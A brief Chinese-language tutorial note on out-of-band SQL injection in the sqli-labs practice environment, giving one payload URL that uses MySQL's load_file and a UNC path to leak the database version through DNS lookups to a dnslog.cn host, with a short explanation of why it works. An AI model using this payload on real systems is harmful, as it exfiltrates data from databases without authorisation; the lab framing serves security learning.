sql 注入 - 帶外攻擊

1. 帶外攻擊：

http://localhost/sqli-labs-master/Less-8/?id=1' and load_file(concat("\\\\",version(),".fhig24.dnslog.cn\\1.txt")) -- -

帶外攻擊用到了load_file這個函數，利用load_file這個函數讀取網絡文件，其中訪問的 記錄會被記錄下來，其中就用到了dnslog.cn這個記錄了dns瀏覽記錄的網站，通過這 個網站可以讓它回顯我們想要的內容